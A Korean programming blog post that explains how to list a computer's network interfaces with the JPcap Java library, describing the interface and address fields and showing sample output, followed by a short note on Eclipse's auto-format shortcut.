 사용할 JPcap관련 소스는 http://netresearch.ics.uci.edu/kfujii/Jpcap/doc/download.html    에  tutorial 에 나와있습니다. 참고하시기 바랍니다.

             ===============
//for save each inteface information
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
 ===============

이 부분은 JPcap 라이브러리를 이용해서 PC의 네트워크 인터페이스에 접근하여 devices에 저장합니다

NewtorkInterface는 다음과 같이 정의되어있으며, 해당 정보가 저장되게 됩니다.

==================

public NetworkInterface(java.lang.String name
 java.lang.String description
 boolean loopback
 java.lang.
String datalink_name
 java.lang.String datalink_descriptionclass, 
 byte[] mac
NetworkInterfaceAddress [] addresses)

==================


name: 인터페이스 이름(eth0)
description: 인터페이스 설명("3com... or null")
loopback : 해당인터페이스가 루프백이면 TRUE
datalink_name : 데이터 전송방식?..연결방식 뭐... ethernet tokenring...이런거
datalink_description : 설명 (null)
mac : 인터페이스 mac 주소
address : ip,subnet,broadcast주소 


NetworkInterfaceAddress[] addresses 부분에서 NetworkInterfaceAddress부분을 살펴보면 다음과 같습니다
=================

public NetworkInterfaceAddress(      byte[] address,
 byte[] subnet, 
 byte[] broadcast, 
 byte[] destination)

================

각각 직관적으로 아실 내용들이고, 마지막에 
destination 은 보통의 경우 null값이므로 표시되지 않지만 P2P connection을 하는 경우에 적용되는 것으로 확인됩니다.

 나머지 아래 부분 설명은 생략하겠습니다. 단순 출력이라.....

이렇게 하시면 
0: eth0(null)
 datalink: EN10MB(Ethernet)
 MAC address:f4:6d:4:e:f5:aa:
 address:/210.109.3.123 /255.255.255.192 /210.109.3.127
 address:/fe80:0:0:0:f66d:4ff:fe0e:f5aa /ffff:ffff:ffff:ffff:0:0:0:0 null

1....
;;;
2...

이런식으로 출력되시는걸 확인 하 실 수 있으실겁니다. 
여기서 선택되어진 정보(네트워크 인터페이스)를 가지고 차후 하게될 패킷 보내고 캡쳐하는데 쓰게됩니다. 

오늘은 여기까지 하겠습니다.
조금이나마 JPcap에 대한 생소함이 사라지셨으면 좋겠네요.

앞으로는 class 별로 소스 하나하나를 생성하여 관리하도록 하겠습니다. 
Swing을 이용해서 그래픽적으로 출력하는 부분을 하게될것이며 , 
그거와 동시에 JPcap  capture와 sending에 대한 부분을 조금 더 알아보도록 하겠습니다. 

'프로그래밍 > jpcap programming' 카테고리의 다른 글

ARP 이해 및 공격방어  (0) 2011.06.02
Jpcap을 이용한 패킷 보내기 2  (0) 2011.06.02
Jpcap을 이용한 패킷 보내기 1  (0) 2011.06.02
JPCAP 패킷 캡쳐  (0) 2011.06.02
eclipse java소스 자동정렬  (0) 2011.05.23
AND

Ctrl + Shift + f

'프로그래밍 > jpcap programming' 카테고리의 다른 글

ARP 이해 및 공격방어  (0) 2011.06.02
Jpcap을 이용한 패킷 보내기 2  (0) 2011.06.02
Jpcap을 이용한 패킷 보내기 1  (0) 2011.06.02
JPCAP 패킷 캡쳐  (0) 2011.06.02
JPCAP 인터페이스 리스트 출력  (0) 2011.06.02
AND